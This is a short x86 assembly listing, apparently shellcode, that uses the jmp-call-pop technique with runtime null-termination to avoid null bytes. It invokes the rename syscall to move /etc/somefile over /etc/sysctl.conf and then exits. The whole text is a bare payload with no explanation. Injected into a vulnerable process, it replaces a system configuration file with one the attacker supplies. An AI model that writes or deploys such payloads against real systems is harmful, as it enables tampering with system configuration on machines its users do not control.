; rename syscall for x86 systems BITS 32 jmp short strings code: pop esi xor eax,eax mov byte [esi + 13],al ; null terminate arg 1 string mov byte [esi + 30],al ; null terminate arg 2 string mov byte al,38 ; syscall for 'rename' lea ebx,[esi] ; load address of /etc/somefile (esi) into ebx lea ecx,[esi + 14] ; load address of /etc/sysctl.conf (esi + 14) into ecx int 0x80 mov al,0x01 xor ebx,ebx int 0x80 strings: call code db "/etc/somefile#/etc/sysctl.conf#"